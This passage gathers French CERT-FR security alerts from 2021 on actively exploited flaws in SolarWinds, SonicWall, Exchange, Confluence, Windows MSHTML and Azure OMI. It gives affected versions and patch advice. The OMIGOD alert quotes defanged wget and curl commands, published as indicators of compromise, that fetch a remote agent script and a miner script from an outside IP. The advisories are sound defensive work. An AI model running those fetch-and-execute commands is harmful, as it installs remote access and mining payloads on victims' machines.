arbitraire à distance avec des privilèges élevés. Microsoft déclare
avoir détecté des exploitations ciblées de cette vulnérabilité.

Cependant, dans le cas où le SSH n'est pas activé sur votre produit
SolarWinds Serv-U la vulnérabilité ne peut pas être exploitée.

Multiples vulnérabilités dans SolarWinds Serv-U

Bulletin de sécurité SolarWinds CVE-2021-35211


SSL-VPN 200/2000/400 toutes versions (le produit est obsolète et n'est plus maintenu par l'éditeur)

Secure Mobile Access 210/410/500v versions antérieures à 10.2.0.7-34sv et 9.0.0.10-28sv

Secure Remote Access 4600/1600 toutes versions (le produit est obsolète et n'est plus maintenu par l'éditeur)

Secure Remote Access 4200/1200 toutes versions (le produit est obsolète et n'est plus maintenu par l'éditeur)

Secure Mobile Access 400/200 versions antérieures à 10.2.0.7-34 et 9.0.0.10

## Solution

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des
correctifs (cf. section Documentation).

## Contournement provisoire

Pour les utilisateurs de versions obsolètes, l'éditeur propose une
licence temporaire d'une version récente de Secure Mobile Access.

Version initiale

Atteinte à la confidentialité des données

Atteinte à l'intégrité des données

Summary:
Une vulnérabilité de type injection SQL a été découverte dans SonicWall
Secure Mobile Access (SMA) et Secure Remote Access (SRA). Elle permet à
un attaquant de provoquer une atteinte à l'intégrité des données et une
atteinte à la confidentialité des données. L'éditeur a émis un bulletin
d'alerte \[1\] dans lequel il précise qu'une campagne de rançonnage
ciblant les équipements SonicWall vulnérable est en cours de
planification par un attaquant disposant de comptes et de mots de passe
volés.

Le CERT-FR recommande fortement de suivre les préconisations de
l'éditeur :

-   déconnecter les équipements obsolètes et pour lesquels aucun
    correctif n'est proposé
-   appliquer les derniers correctifs de sécurité sur les équipements
    maintenus par l'éditeur
-   renouveler l'ensemble des mots de passe pour les comptes
    utilisateurs et administrateurs ainsi que les comptes techniques
-   activer l'authentification à plusieurs facteurs

Vulnérabilité dans SonicWall

Avis de sécurité CERT-FR CERTFR-2021-AVI-524 du 15 juillet 2021

Bulletin de sécurité SonicWall SNWLID-2021-0017 du 14 juillet 2021

[1] Bulletin d'alerte SonicWall du 14 juillet 2021


[2] Avis de sécurité CERTFR-2021-AVI-522 du 15 juillet 2021

[5] Guide de sécurité de l'ANSSI

[3] Bulletin d'actualité CERTFR-2021-ACT-030 du 19 juillet 2021

[1] Bulletin d'actualité CERTFR-2021-ACT-035 du 12 août 2021

[4] Avis de sécurité CERTFR-2021-AVI-369 du 12 mai 2021

Version initiale

Exécution de code arbitraire à distance

Élévation de privilèges

Contournement de la politique de sécurité

Summary:
Dans son bulletin d'actualité CERTFR-2021-ACT-035 du 12 août 2021
[\[1\]](http://suite%20à%20la%20publication%20d'une%20technique%20permettant%20de%20prendre%20le%20contrôle%20d'un%20serveur%20Microsoft%20Exchange),
le CERT-FR revenait sur la publication d'une technique permettant de
prendre le contrôle d'un serveur Microsoft Exchange. La technique,
dénommée "*ProxyShell*" s'appuie sur l'existence de plusieurs
vulnérabilités corrigées en avril et en mai 2021
[\[4\]](/avis/CERTFR-2021-AVI-369/) (mais
annoncées en juillet)
[\[2\]](/avis/CERTFR-2021-AVI-522/)
[\[3\]](/actualite/CERTFR-2021-ACT-030/).

Récemment, le CERT-FR a pris connaissance d'activités malveillantes qui
pourraient-être basées sur une exploitation de ces vulnérabilités et
ciblant les serveurs Microsoft Exchange d'entités françaises.

Le CERT-FR a signalé l'existence de serveurs vulnérables exposés sur
Internet à leurs propriétaires, mais sans possibilité d'exhaustivité.
Par conséquent le CERT-FR rappelle les recommandations suivantes :

-   appliquer immédiatement les correctifs de sécurité fournis par
    l’éditeur sur l’ensemble des serveurs Exchange vulnérables exposés
    sur Internet puis en interne ;
-   procéder à l’analyse des serveurs Exchange afin d’identifier une
    possible activité anormale à l'aide des informations fournies dans
    notre bulletin CERTFR-2021-ACT-035 et la présence de *webshells* ;
-   en cas de compromission, contrôler le système d’information pour
    détecter d’éventuelles latéralisations ainsi qu’une compromission
    des serveurs Active Directory.

Enfin, le CERT-FR rappelle que les serveurs Microsoft Exchange ne
devraient pas être exposés sans protection sur Internet. Il est
fortement recommandé d’appliquer les bonnes pratiques publiées par
l’ANSSI pour ce type service
[\[5\]](https://www.ssi.gouv.fr/guide/recommandations-sur-le-nomadisme-numerique/).

Multiples vulnérabilités dans Microsoft Exchange


Atlassian Confluence Server et Data Center versions 7.12.x antérieures à 7.12.5

Atlassian Confluence Server et Data Center versions antérieures à 6.13.23

Atlassian Confluence Server et Data Center versions 7.5.x à 7.11.x antérieures à 7.11.6

Atlassian Confluence Server et Data Center versions 6.14.x à 7.4.x antérieures à 7.4.11

## Solution

**Le CERT-FR recommande très fortement d'appliquer les correctifs sans
délai au vu des risques d'exploitation.** Dans le cas où la mise à jour
ne peut pas être effectuée rapidement, l'éditeur propose un
contournement temporaire (\*).

**Le CERT-FR rappelle également que ce type de service ne devrait pas
être exposé sur Internet \[1\].**

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des
correctifs (cf. section Documentation).

------------------------------------------------------------------------

(\*) La mise à jour d’un produit ou d’un logiciel est une opération
délicate qui doit être menée avec prudence. Il est notamment recommandé
d’effectuer des tests autant que possible. Des dispositions doivent
également être prises pour garantir la continuité de service en cas de
difficultés lors de l’application des mises à jour comme des correctifs
ou des changements de version.

Avis CERT-FR CERTFR-2021-AVI-677 du 06 septembre 2021

[1] Guide ANSSI sur le nomadisme numérique

Version initiale

Exécution de code arbitraire à distance

Summary:
Le 25 août 2021, Atlassian a publié un avis de sécurité alertant de
l'existence d'une vulnérabilité affectant la solution de travail
collaboratif Confluence, référencée CVE-2021-26084.

L'éditeur, ainsi que plusieurs autres sources, indiquent que la
vulnérabilité CVE-2021-26084, qui permet à un attaquant non authentifié
d'exécuter du code arbitraire à distance, est activement exploitée. Le 3
septembre 2021, l'éditeur confirme par ailleurs que toutes les versions
citées ci-dessus sont vulnérables, quelles que soient leurs
configurations.

Le CERT-FR a également connaissance de campagnes d'identification de
serveurs Confluence exposés sur Internet. De plus, des codes
d'exploitation sont disponibles publiquement pour cette vulnérabilité.

Vulnérabilité dans Atlassian Confluence Server et Data Center

Bulletin de sécurité Atlassian CVE-2021-26084


Windows Server 2019 (Server Core installation)

Windows Server 2012 R2 (Server Core installation)

Windows 10 Version 20H2 pour systèmes x64

Windows Server 2008 R2 pour systèmes x64 Service Pack 1 (Server Core installation)

Windows Server 2016

Windows Server, version 2004 (Server Core installation)

Windows 8.1 pour systèmes x64

Windows 10 Version 2004 pour systèmes x64

Windows Server 2022

Windows 10 pour systèmes 32 bits

Windows 10 Version 2004 pour systèmes 32 bits

Windows 7 pour systèmes x64 Service Pack 1

Windows 10 Version 20H2 pour systèmes ARM64

Windows 10 Version 2004 pour systèmes ARM64

Windows 10 Version 1809 pour systèmes x64

Windows 8.1 pour systèmes 32 bits

Windows 10 Version 1909 pour systèmes ARM64

Windows Server 2012

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows 10 Version 1607 pour systèmes 32 bits

Windows Server 2022 (Server Core installation)

Windows 10 Version 1909 pour systèmes 32 bits

Windows Server 2016 (Server Core installation)

Windows 7 pour systèmes 32 bits Service Pack 1

Windows 10 Version 21H1 pour systèmes ARM64

Windows 10 pour systèmes x64

Windows RT 8.1

Windows 10 Version 21H1 pour systèmes 32 bits

Windows 10 Version 20H2 pour systèmes 32 bits

Windows Server 2008 pour systèmes 32 bits Service Pack 2 (Server Core installation)

Windows 10 Version 1909 pour systèmes x64

Windows Server 2019

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 21H1 pour systèmes x64

Windows Server 2008 pour systèmes x64 Service Pack 2 (Server Core installation)

Windows 10 Version 1809 pour systèmes ARM64

Windows 10 Version 1607 pour systèmes x64

Windows 10 Version 1809 pour systèmes 32 bits

## Contournement provisoire

**\[Version du 15 septembre 2021\]** il est recommandé d'annuler le
contournement afin de revenir au fonctionnement nominal.

<s>Dans son avis, Microsoft propose une mesure de contournement en
attendant la sortie du correctif.</s>

<s>La modification du registre proposée empêche l'installation de
nouveaux contrôles ActiveX. Celle-ci est réversible.</s>

Avis CERT-FR CERTFR-2021-AVI-710 du 15 septembre 2021

Version initiale

Ajout du lien vers l'avis CERT-FR

section 'contournement' corrigée

Clôture de l'alerte. Cela ne signifie pas la fin d'une menace. Seule l'application de la mise à jour permet de vous prémunir contre l'exploitation de la vulnérabilité correspondante.

Exécution de code arbitraire à distance

Summary:
\[Version du 15 septembre 2021\] Dans le cadre de son *Patch
Tuesday*, en date du 14 septembre 2021, Microsoft a mis à disposition un
correctif pour cette vulnérabilité. Le CERT-FR recommande fortement
d'appliquer ce correctif et, le cas échéant, d'enlever les
contournements préalablement appliqués pour se protéger de cette
vulnérabilité.

\[Version initiale\]

Celle-ci affecte le composant MSHTML utilisé par ActiveX. Un attaquant
peut obtenir une exécution de code arbitraire à distance en envoyant un
fichier Office piégé.

Cette exécution de code s'effectue avec les niveaux de privilèges de
l'utilisateur ayant ouvert le document.

Aucun correctif n'est disponible.

Microsoft indique également que cette vulnérabilité est activement
exploitée dans le cadre d'attaques ciblées.

[MaJ] Vulnérabilité dans Microsoft Windows

Bulletin de sécurité Microsoft CVE-2021-40444 du 07 septembre 2021


Azure Automation State Configuration, DSC Extension (Cloud) DSC Agent versions 3.0.0.1 antérieures à 3.0.0.3

Azure Automation State Configuration, DSC Extension (Cloud) DSC Agent versions 2.71.X.XX antérieures à 2.71.1.25

Azure Automation State Configuration, DSC Extension (Cloud) DSC Agent versions 2.0.0.0

System Center Operations Manager (SCOM) On-Premises OMI versions antérieures à v1.6.8-1 (OMI framework est utilisé pour la surveillance de Linux / Unix)

Container Monitoring Solution (Cloud) déployé avec une image docker ayant un SHA ID différent de 12b7682d8f9a2f67752bf121029e315abcae89bc0c34a0e05f07baec72280707

Azure Diagnostics (LAD) (Cloud) versions 3.0.131 et antérieures

Azure Automation State Configuration, DSC Extension (On-Premises) OMI versions antérieures à v1.6.8-1 (OMI framework est un pré-requis pour installer pour l'agent DSC )

Azure Automation State Configuration, DSC Extension (Cloud) DSC Agent versions 2.70.X.XX antérieures à 2.70.0.30

Azure Automation (On-Premises et Cloud) OMS Agent pour Linux GA versions v1.13.35 et antérieures

Azure Diagnostics (LAD) (Cloud) versions 4.0.0 à 4.0.5 antérieures à 4.0.11

Azure Security Center (Cloud) OMS Agent pour Linux GA versions v1.13.35 et antérieures

le paquet OMI (On-Premises et Cloud) versions antérieures à v1.6.8-1

Azure Automation Update Management (On-Premises et Cloud) OMS Agent pour Linux GA versions v1.13.35 et antérieures

Log Analytics Agent (On-Premises et Cloud) OMS Agent pour Linux GA versions 1.13.35 et antérieures

## Solution

Le CERT-FR recommande fortement la mise à jour des extensions
vulnérables. Pour cela, dans le cadre d'un déploiement dans le *Cloud*,
veuillez vous assurer que la mise à jour a bien été appliquée, sinon
dans le cas contraire l'effectuer manuellement. En ce qui concerne les
déploiements *OnPremises,* les mises à jour des extensions vulnérables
<u>doivent être réalisées manuellement</u>. Afin d'identifier les
extensions concernées par ces vulnérabilités, les utilisateurs peuvent
utiliser Azure Portal ou Azure CLI comme décrit dans la documentation de
Microsoft \[3\].

**Le CERT-FR rappelle également que ce type de service ne doit pas être
exposé sur Internet. De plus, il est fortement recommandé de filtrer
l’accès des ports susmentionnés associés au service OMI uniquement aux
machines d'administration autorisées.**

[4] Aide pour l'utilisation de Azure Sentinel

[1] Publication de l'équipe de chercheurs en vulnérabilités de Wiz

[5] Avis CERT-FR du 15 septembre 2021

[3] Documentation de Microsoft

[2] Recommandations supplémentaires pour les vulnérabilités OMIGOD

Version initiale

Ajout de la référence à l'avis CERT-FR

Élévation de privilèges

Exécution de code arbitraire à distance

Summary:
\[Version du 20 septembre 2021\]

Le 18 septembre Microsoft a publié
un article afin d'expliquer comment Azure Sentinel peut aider à la
recherche d'une compromission notamment l'exploitation des
vulnérabilités OMIGOD \[4\]. De plus, à cette occasion, les marqueurs
suivants, qui correspondent à des traces liées à une tentative
d'exploitation, ont été proposés par Microsoft :

-   wget
    https://www\[.\]dwservice\[.\]net/download/dwagent_generic\[.\]sh
    -O dwagent_generic.sh
-   echo curl
    https://www\[.\]dwservice\[.\]net/download/dwagent_generic\[.\]sh
    --output dw.sh \> go.sh
-   curl -fSsL
    http://104\[.\]168\[.\]213\[.\]31:55879/coinlinux/runMiner\[.\]sh

\[Version initiale\]

Le 14 septembre 2021, une équipe de chercheurs en vulnérabilités a
découvert quatre vulnérabilités dans Microsoft Azure, la plateforme
cloud de Microsoft \[1\]. Ces vulnérabilités sont situées au sein du
service OMI, lequel est déployé dans l'écosystème Azure. Ces
vulnérabilités ont été regroupées sous l’appellation de « *OMIGOD* ». Le
service OMI est le pendant open-source pour la famille de systèmes
d'exploitation de type Linux ou Unix de WMI (Windows Management
Infrastructure) et permet la gestion des configurations dans des
environnements distants et locaux.

En particulier, la vulnérabilité immatriculée CVE-2021-38647 permet à un
attaquant non authentifié de réaliser une exécution de code arbitraire
avec les privilèges de l'utilisateur *root*. Elle impacte uniquement les
entités utilisant les solutions de gestion Linux (*On-Premises* SCOM,
Azure Automation State Configuration ou Azure Desired State
Configuration extension) lorsque la gestion à distance est activée.

Pour des besoins de gestion à distance, il est possible que les ports
associés à OMI (5986 / 5985 / 1270) soient accessibles depuis Internet.
Dans ce cas, la vulnérabilité peut être exploitée afin d'obtenir un
accès initial à un environnement Azure pour ensuite pouvoir se déplacer
latéralement au sein du système d'information, en tirant notamment parti
des trois autres vulnérabilités, qui permettent une élévation de
privilèges locale.

Dans le cadre de son Patch Tuesday, en date du 14 septembre 2021 \[5\],
Microsoft a ainsi mis à disposition un correctif pour ces quatre
vulnérabilités :

-   CVE-2021-38647 : Avec un score CVSSv3 à 9.8 et permettant à un
    attaquant de pouvoir exécuter du code arbitraire à distance ;
-   CVE-2021-38648 : Avec un score CVSSv3 à 7.8 et permettant à un
    attaquant de pouvoir réaliser une élévation de privilèges ;
-   CVE-2021-38645 : Avec un score CVSSv3 à 7.8 et permettant à un
    attaquant de pouvoir réaliser une élévation de privilèges ;
-   CVE-2021-38649 : Avec un score CVSSv3 à 7.0 et permettant à un
    attaquant de pouvoir réaliser une élévation de privilèges

Des codes d'exploitation sont publiquement disponibles sur Internet
pour la CVE-2021-38647, ce qui signifie que l’exploitation de cette
vulnérabilité est imminente ou déjà en cours.

[Maj] Multiples vulnérabilités dans Microsoft Azure Open Management Infrastructure

Bulletin de sécurité Microsoft CVE-2021-38648

Bulletin de sécurité Microsoft CVE-2021-38649

Bulletin de sécurité Microsoft CVE-2021-38645

Bulletin de sécurité Microsoft CVE-2021-38647


Microsoft Exchange 2016

Microsoft Exchange 2019

avis de sécurité CERTFR-2021-AVI-863 du 10 novembre 2021

Version initiale

correction du lien vers le guide ANSSI

Exécution de code arbitraire à distance

Summary:
Une vulnérabilité a été découverte dans Microsoft Exchange, initialement
dans le cadre de la compétition de cybersécurité *Tianfu Cup* qui a eu
lieu en juillet 2021. Elle permet à un attaquant ayant accès aux
identifiants d'un utilisateur de provoquer une exécution de code
arbitraire à distance, permettant d’obtenir *in fine* les droits de
l’administrateur de domaine Active Directory.

L'éditeur confirme que cette vulnérabilité est exploitée dans le
cadre d'attaques ciblées.

Le CERT-FR recommande donc d'appliquer les correctifs de sécurité dans
les plus brefs délais.

Le CERT-FR rappelle en outre que l'éditeur ne fournit des correctifs de
sécurité que pour les deux dernières mises à jour cumulatives
(*Cumulative Update*, *CU*). En l’occurrence, seules les versions de
Microsoft Exchange 2019 CU 11, 2019 CU 10, 2016 CU 22 et 2016 CU 21
disposent d'un correctif de sécurité. Il est donc primordial d'avoir
déployé ces mises à jour cumulatives (*CU*) et d'appliquer le
correctif.

Enfin, il convient de souligner que ce type de service ne devrait pas
être exposé sur Internet sans mesure de protection \[1\].

Vulnérabilité dans Microsoft Exchange

Bulletin de sécurité Microsoft CVE-2021-42321 du 09 novembre 2021